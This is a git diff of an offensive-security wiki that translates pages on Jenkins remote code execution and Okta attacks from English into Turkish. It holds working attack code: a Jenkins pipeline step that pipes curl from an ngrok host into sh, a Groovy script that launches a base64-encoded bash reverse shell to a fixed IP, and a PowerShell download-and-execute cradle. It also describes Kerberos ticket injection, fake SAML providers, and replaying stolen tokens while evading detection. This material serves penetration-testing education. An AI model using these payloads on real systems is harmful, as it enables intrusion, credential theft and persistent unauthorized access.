(c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..29477a663 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -2,42 +2,36 @@ {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## Yeni Bir Pipeline Oluşturma -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +"Yeni Öğe" ( `/view/all/newJob` adresinde erişilebilir) kısmında **Pipeline** seçin: ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +**Pipeline bölümünde** **reverse shell** yazın: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +Son olarak **Kaydet** ve **Şimdi Oluştur** butonuna tıklayın, ve pipeline çalıştırılacaktır: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## Bir Pipeline'ı Değiştirme -If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. +Eğer yapılandırılmış bir pipeline'ın yapılandırma dosyasına erişiminiz varsa, sadece **ters shell'inizi ekleyerek değiştirmeniz** yeterlidir ve ardından çalıştırabilir veya çalıştırılmasını bekleyebilirsiniz. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..37ff94fd4 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -4,37 +4,33 @@ ## Creating a Project -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +Bu yöntem çok gürültülü çünkü tamamen yeni bir proje oluşturmanız gerekiyor (bu, kullanıcının yeni bir proje oluşturmasına izin veriliyorsa çalışır). -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **Yeni bir proje oluşturun** (Freestyle projesi) "Yeni Öğe"ye tıklayarak veya `/view/all/newJob` adresine giderek +2. **Build** bölümünde **Shell'i çalıştır** seçeneğini ayarlayın ve bir powershell Empire başlatıcısı veya bir meterpreter powershell yapıştırın (bu _unicorn_ kullanılarak elde edilebilir). Yükü _PowerShell.exe_ ile başlatın, _powershell._ yerine. +3. **Şimdi inşa et** butonuna tıklayın +1. **Şimdi inşa et** butonu görünmüyorsa, yine de **yapılandır** --> **Yapı Tetikleyicileri** --> `Düzenli olarak inşa et` kısmına gidebilir ve `* * * * *` şeklinde bir cron ayarlayabilirsiniz. +2. Cron kullanmak yerine, sadece işi tetiklemek için bir api token adı ayarlamanız gereken "**Uzakta inşaat tetikleyin**" yapılandırmasını kullanabilirsiniz. Ardından kullanıcı profilinize gidin ve **bir API token oluşturun** (bu API token'ı işi tetiklemek için kullandığınız gibi adlandırın). Son olarak, işi tetiklemek için: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) ## Modifying a Project -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +Projeleri kontrol edin ve **herhangi birini yapılandırıp yapılandıramayacağınızı** kontrol edin ( "Yapılandır" butonunu arayın): ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +Eğer **hiçbir** **yapılandırma** **butonu** göremiyorsanız, muhtemelen **yapılandıramazsınız** (ancak bazı projeleri yapılandırma yetkiniz olabilir, bu yüzden tüm projeleri kontrol edin). -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +Ya da her projede **/job//configure** veya **/me/my-views/view/all/job//configure** yoluna erişmeyi **deneyin** (örnek: `/job/Project0/configure` veya `/me/my-views/view/all/job/Project0/configure`). ## Execution -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +Projeyi yapılandırmanıza izin veriliyorsa, **başarılı bir inşaat olduğunda komutları çalıştırmasını sağlayabilirsiniz**: ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +**Kaydet**'e tıklayın ve projeyi **inşa edin** ve **komutunuz çalıştırılacaktır**.\ +Eğer bir ters shell çalıştırmıyorsanız ama basit bir komut çalıştırıyorsanız, **komutun çıktısını inşaatın çıktısında görebilirsiniz**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..64db32da3 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,24 +4,21 @@ ## Jenkins RCE with Groovy Script -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülüdür. +1. _path_jenkins/script_ yoluna gidin +2. Metin kutusuna script'i ekleyin ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` +Bir komutu şu şekilde çalıştırabilirsiniz: `cmd.exe /c dir` -You could execute a command using: `cmd.exe /c dir` +**linux** üzerinde şunu yapabilirsiniz: **`"ls /".execute().text`** -In **linux** you can do: **`"ls /".execute().text`** - -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. - -**Another useful groovy script** is (replace \[INSERT COMMAND]): +Metin içinde _tırnak_ ve _tek tırnak_ kullanmanız gerekiyorsa, yükü çalıştırmak için _"""PAYLOAD"""_ (üçlü çift tırnak) kullanabilirsiniz. +**Başka bir yararlı groovy script** şudur ( \[INSERT COMMAND] kısmını değiştirin): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### Linux'te Ters Shell ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Windows'ta Ters Shell -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +Bir PS ters shell ile bir HTTP sunucusu hazırlayabilir ve bunu indirmek ve çalıştırmak için Jeking kullanabilirsiniz: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` - ### Script -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +Bu süreci [**bu script ile**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) otomatikleştirebilirsiniz. +Ters bir shell almak için MSF kullanabilirsiniz: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..7357a60ee 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -1,118 +1,114 @@ -# Okta Security +# Okta Güvenliği {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/) kimlik ve erişim yönetimi sektöründe bulut tabanlı yazılım çözümleri ile tanınmaktadır. Bu çözümler, çeşitli modern uygulamalar arasında kullanıcı kimlik doğrulamasını kolaylaştırmak ve güvence altına almak için tasarlanmıştır. Hassas verilerini korumak isteyen şirketlere ve uygulamalara, web hizmetlerine ve cihazlara kimlik kontrollerini entegre etmekle ilgilenen geliştiricilere hitap etmektedir. -The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +Okta'nın amiral gemisi ürünü **Okta Identity Cloud**'dır. Bu platform, aşağıdakiler de dahil olmak üzere bir dizi ürünü kapsamaktadır: -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **Tek Oturum Açma (SSO)**: Birden fazla uygulama arasında tek bir oturum açma kimlik bilgisi seti ile kullanıcı erişimini basitleştirir. +- **Çok Faktörlü Kimlik Doğrulama (MFA)**: Birden fazla doğrulama biçimi gerektirerek güvenliği artırır. +- **Yaşam Döngüsü Yönetimi**: Kullanıcı hesaplarının oluşturulması, güncellenmesi ve devre dışı bırakılması süreçlerini otomatikleştirir. +- **Evrensel Dizin**: Kullanıcıların, grupların ve cihazların merkezi yönetimini sağlar. +- **API Erişim Yönetimi**: API'lere erişimi güvence altına alır ve yönetir. -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +Bu hizmetler, veri korumasını güçlendirmeyi ve kullanıcı erişimini kolaylaştırmayı amaçlamaktadır, böylece hem güvenliği hem de rahatlığı artırmaktadır. Okta'nın çözümlerinin çok yönlülüğü, onları çeşitli endüstrilerde popüler bir seçim haline getirmekte, büyük işletmelere, küçük şirketlere ve bireysel geliştiricilere fayda sağlamaktadır. Eylül 2021'deki son güncelleme itibarıyla, Okta Kimlik ve Erişim Yönetimi (IAM) alanında önde gelen bir varlık olarak kabul edilmektedir. > [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> Okta'nın ana hedefi, farklı kullanıcılar ve gruplar için dış uygulamalara erişimi yapılandırmaktır. Eğer bir **Okta** ortamında **yönetici ayrıcalıklarını ele geçirirseniz**, şirketin kullandığı **diğer tüm platformları ele geçirme** olasılığınız oldukça yüksektir. > [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> Bir Okta ortamının güvenlik incelemesini gerçekleştirmek için **yönetici salt okunur erişimi** talep etmelisiniz. -### Summary +### Özet -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +**Kullanıcılar** (Okta'da **saklanabilir**, yapılandırılmış **Kimlik Sağlayıcılarından** oturum açabilir veya **Active Directory** veya LDAP aracılığıyla kimlik doğrulaması yapılabilir).\ +Bu kullanıcılar **gruplar** içinde olabilir.\ +Ayrıca **kimlik doğrulayıcılar** vardır: şifre gibi kimlik doğrulama için farklı seçenekler ve WebAuthn, e-posta, telefon, Okta doğrulama gibi çeşitli 2FA (bunlar etkinleştirilebilir veya devre dışı bırakılabilir)... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +Daha sonra, Okta ile senkronize edilmiş **uygulamalar** vardır. Her uygulama, bilgi paylaşmak için Okta ile bazı **eşleştirmelere** sahip olacaktır (örneğin e-posta adresleri, adlar...). Ayrıca, her uygulama bir **Kimlik Doğrulama Politikası** içinde olmalıdır; bu, bir kullanıcının uygulamaya **erişmesi** için gereken **kimlik doğrulayıcıları** belirtir. > [!CAUTION] -> The most powerful role is **Super Administrator**. +> En güçlü rol **Süper Yönetici**dir. > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> Eğer bir saldırgan Okta'yı Yönetici erişimi ile ele geçirirse, **Okta'ya güvenen tüm uygulamalar** büyük olasılıkla **ele geçirilmiş** olacaktır. -## Attacks +## Saldırılar -### Locating Okta Portal +### Okta Portalını Bulma -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +Genellikle bir şirketin portalı **companyname.okta.com** adresinde bulunur. Eğer bulamazsanız, **companyname.** için basit **varyasyonlar** deneyin. Bulamazsanız, organizasyonun **Okta portalına** işaret eden **CNAME** kaydı olabilir, örneğin **`okta.companyname.com`**. -### Login in Okta via Kerberos +### Kerberos ile Okta'ya Giriş -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +Eğer **`companyname.kerberos.okta.com`** aktifse, **Kerberos Okta erişimi için kullanılır**, genellikle **Windows** kullanıcıları için **MFA**'yı atlayarak. AD'de Kerberos ile kimlik doğrulaması yapılmış Okta kullanıcılarını bulmak için **`getST.py`**'yi **uygun parametrelerle** çalıştırın. Bir **AD kullanıcı bileti** elde ettikten sonra, bunu kontrol edilen bir hosta **Rubeus** veya **Mimikatz** gibi araçlar kullanarak **enjekte** edin, **`clientname.kerberos.okta.com`'un Internet Seçenekleri "İntranet" alanında** olduğundan emin olun. Belirli bir URL'ye erişmek, Kerberos biletinin kabul edildiğini gösteren bir JSON "OK" yanıtı döndürmeli ve Okta kontrol paneline erişim sağlamalıdır. -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +**Okta hizmet hesabını delege SPN ile ele geçirmek, bir Silver Ticket saldırısını mümkün kılar.** Ancak, Okta'nın bilet şifrelemesi için **AES** kullanması, AES anahtarına veya düz metin şifresine sahip olmayı gerektirir. **`ticketer.py`'yi kullanarak kurban kullanıcı için bir bilet oluşturun** ve bunu tarayıcı aracılığıyla Okta ile kimlik doğrulamak için iletin. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking Okta AD Agent +### Okta AD Ajanını Ele Geçirme -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +Bu teknik, **kullanıcıları senkronize eden ve kimlik doğrulamasını yöneten bir sunucudaki Okta AD Ajanına erişmeyi** içerir. **`OktaAgentService.exe.config`** dosyasındaki yapılandırmaları inceleyerek ve şifrelerini çözerek, özellikle **DPAPI** kullanarak AgentToken'ı ele geçiren bir saldırgan, kimlik doğrulama verilerini **yakalama ve manipüle etme** potansiyeline sahip olabilir. Bu, yalnızca Okta kimlik doğrulama sürecinde kullanıcı kimlik bilgilerini düz metin olarak **izleme** ve **yakalama** sağlamakla kalmaz, aynı zamanda kimlik doğrulama girişimlerine **yanıt verme** yeteneği de sağlar; böylece yetkisiz erişim sağlanabilir veya Okta aracılığıyla evrensel kimlik doğrulama sağlanabilir (bir 'skeleton key' gibi). -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking AD As an Admin +### Yönetici Olarak AD'yi Ele Geçirme -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi içerir, ardından bir API token'ı talep edilir. Token, bir AD alanı ile ilişkilidir ve **sahte bir AD ajanı oluşturmak için bir bağlantı adı verilir**. Başlatma, ajanın **kimlik doğrulama girişimlerini işleme** almasına olanak tanır ve Okta API'si aracılığıyla kimlik bilgilerini yakalar. Bu süreci kolaylaştırmak için otomasyon araçları mevcuttur ve Okta ortamında kimlik doğrulama verilerini yakalamak ve işlemek için sorunsuz bir yöntem sunar. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Okta Fake SAML Provider +### Okta Sahte SAML Sağlayıcısı -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın çerçevesine bir dış Kimlik Sağlayıcısı (IdP) entegre ederek, saldırganlar **IdP'yi kontrol edebilir ve istedikleri zaman herhangi bir kimlik doğrulama talebini onaylayabilir**. Süreç, Okta'da bir SAML 2.0 IdP kurmayı, yerel hosts dosyası aracılığıyla yönlendirme için IdP Tek Oturum Açma URL'sini manipüle etmeyi, kendinden imzalı bir sertifika oluşturmayı ve Okta ayarlarını kullanıcı adı veya e-posta ile eşleşecek şekilde yapılandırmayı içerir. Bu adımları başarıyla gerçekleştirmek, herhangi bir Okta kullanıcısı olarak kimlik doğrulama sağlamaya olanak tanır; bu, bireysel kullanıcı kimlik bilgilerine ihtiyaç duymadan erişim kontrolünü önemli ölçüde artırır. -### Phishing Okta Portal with Evilgnix +### Evilgnix ile Okta Portalını Phishing -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +[**Bu blog yazısında**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) bir Okta portalına karşı bir phishing kampanyası hazırlamanın nasıl yapılacağı açıklanmaktadır. -### Colleague Impersonation Attack +### Meslektaş Taklit Saldırısı -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**. +Her kullanıcının sahip olabileceği ve değiştirebileceği **nitelikler** (örneğin e-posta veya ad) Okta'da yapılandırılabilir. Eğer bir **uygulama**, bir kullanıcının **değiştirebileceği** bir **nitelik** olarak **güveniyorsa**, o platformda **diğer kullanıcıları taklit etme** yeteneğine sahip olacaktır. -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +Bu nedenle, eğer uygulama **`userName`** alanına güveniyorsa, muhtemelen bunu değiştiremeyeceksiniz (çünkü genellikle bu alanı değiştiremezsiniz), ancak eğer örneğin **`primaryEmail`** alanına güveniyorsa, bunu **bir meslektaşın e-posta adresine** değiştirme yeteneğine sahip olabilirsiniz ve onu taklit edebilirsiniz (değişikliği kabul etmek için e-postaya erişiminiz olması gerekecek). -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +Bu taklit etme, her uygulamanın nasıl yapılandırıldığına bağlıdır. Sadece değiştirdiğiniz alana güvenen ve güncellemeleri kabul edenler tehlikeye girecektir.\ +Bu nedenle, uygulamanın bu alanı etkinleştirmiş olması gerekir:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +Ayrıca, o alana sahip olmayan ancak savunmasız olan diğer uygulamaları da gördüm (en sonunda farklı uygulamalar farklı şekilde yapılandırılmıştır). -The best way to find out if you could impersonate anyone on each app would be to try it! +Her uygulamada birini taklit edip edemeyeceğinizi öğrenmenin en iyi yolu, bunu denemektir! -## Evading behavioural detection policies +## Davranışsal tespit politikalarını atlatma -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +Okta'daki davranışsal tespit politikaları, karşılaşılana kadar bilinmeyebilir, ancak bunları **doğrudan Okta uygulamalarını hedef alarak** **atlatmak** mümkündür; bu, ana Okta kontrol panelinden kaçınmayı içerir. Bir **Okta erişim token'ı** ile, token'ı ana giriş sayfası yerine **uygulama özel Okta URL'sinde** yeniden oynatın. -Key recommendations include: +Anahtar öneriler şunlardır: -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **Popüler anonimleştirici proxy'leri ve VPN hizmetlerini kullanmaktan kaçının**; yakalanan erişim token'larını yeniden oynatırken. +- **İstemci ile yeniden oynatılan erişim token'ları arasında tutarlı kullanıcı ajanı dizgeleri** olduğundan emin olun. +- **Aynı IP adresinden farklı kullanıcılardan token'ları yeniden oynatmaktan kaçının.** +- Okta kontrol paneline karşı token'ları yeniden oynatırken dikkatli olun. +- Kurban şirketinin IP adreslerinden haberdarsanız, **trafikleri** bu IP'lere veya aralıklarına kısıtlayın, diğer tüm trafiği engelleyin. -## Okta Hardening +## Okta Güçlendirme -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +Okta'nın birçok olası yapılandırması vardır, bu sayfada bunları mümkün olduğunca güvenli hale getirmek için nasıl gözden geçireceğinizi bulacaksınız: {{#ref}} okta-hardening.md {{#endref}} -## References +## Referanslar - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers) - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..743d00fc2 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +Saldırganlar açısından bu, **tüm kayıtlı kullanıcıları**, **e-posta** adreslerini, **ait oldukları grupları**, **profilleri** ve hatta **cihazları** (mobil cihazlar ve işletim sistemleri) görebileceğiniz için oldukça ilginçtir. -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +Beyaz kutu incelemesi için, "**Bekleyen kullanıcı eylemi**" ve "**Şifre sıfırlama**" gibi birden fazla durumun olmadığından emin olun. ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +Burada Okta'da oluşturulan tüm grupları bulabilirsiniz. Kullanıcılara verilebilecek farklı grupların (**izin setleri**) anlaşılması ilginçtir.\ +Grupların içindeki **kişileri** ve her gruba atanan **uygulamaları** görebilirsiniz. -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +Elbette, **admin** ismine sahip herhangi bir grup ilginçtir, özellikle **Küresel Yöneticiler** grubu, en ayrıcalıklı üyelerin kimler olduğunu öğrenmek için üyeleri kontrol edin. -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +Beyaz kutu incelemesinden, **5'ten fazla küresel yönetici olmamalıdır** (2 veya 3 olması daha iyidir). ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +Burada tüm kullanıcıların **tüm cihazlarının listesini** bulabilirsiniz. Ayrıca, bunun **aktif olarak yönetilip yönetilmediğini** de görebilirsiniz. ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +Burada, adlar, soyadlar, e-postalar, kullanıcı adları gibi anahtar bilgilerin Okta ve diğer uygulamalar arasında nasıl paylaşıldığını gözlemlemek mümkündür. Bu ilginçtir çünkü bir kullanıcı **Okta'da bir alanı** (örneğin adı veya e-postası) değiştirebiliyorsa ve bu alan bir **harici uygulama** tarafından kullanılıyorsa, bir içeriden biri **diğer hesapları ele geçirmeye** çalışabilir. -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +Ayrıca, Okta'daki profil **`Kullanıcı (varsayılan)`** bölümünde her **kullanıcının hangi alanlara sahip olduğunu** ve hangilerinin kullanıcılar tarafından **yazılabilir** olduğunu görebilirsiniz. Yönetici panelini göremiyorsanız, **profil bilgilerinizi güncelleyin** ve hangi alanları güncelleyebileceğinizi görün (bir e-posta adresini güncellemek için onu doğrulamanız gerektiğini unutmayın). ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +Dizinler, mevcut kaynaklardan insanları içe aktarmanıza olanak tanır. Burada, diğer dizinlerden içe aktarılan kullanıcıları göreceğinizi düşünüyorum. -I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +Bunu görmedim, ama bu, **Okta'nın kullanıcıları içe aktarmak için kullandığı diğer dizinleri** bulmak için ilginçtir, böylece eğer **o dizini tehlikeye atarsanız**, Okta'da oluşturulan kullanıcıların bazı nitelik değerlerini ayarlayabilir ve **belki de Okta ortamını tehlikeye atabilirsiniz**. ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +Bir profil kaynağı, kullanıcı profil nitelikleri için **gerçek kaynak olarak işlev gören bir uygulamadır**. Bir kullanıcı yalnızca bir uygulama veya dizin tarafından bir kerede kaynaklanabilir. -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +Bunu görmedim, bu seçenekle ilgili güvenlik ve hacking hakkında herhangi bir bilgi takdir edilir. ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +Bu bölümün **Alanlar** 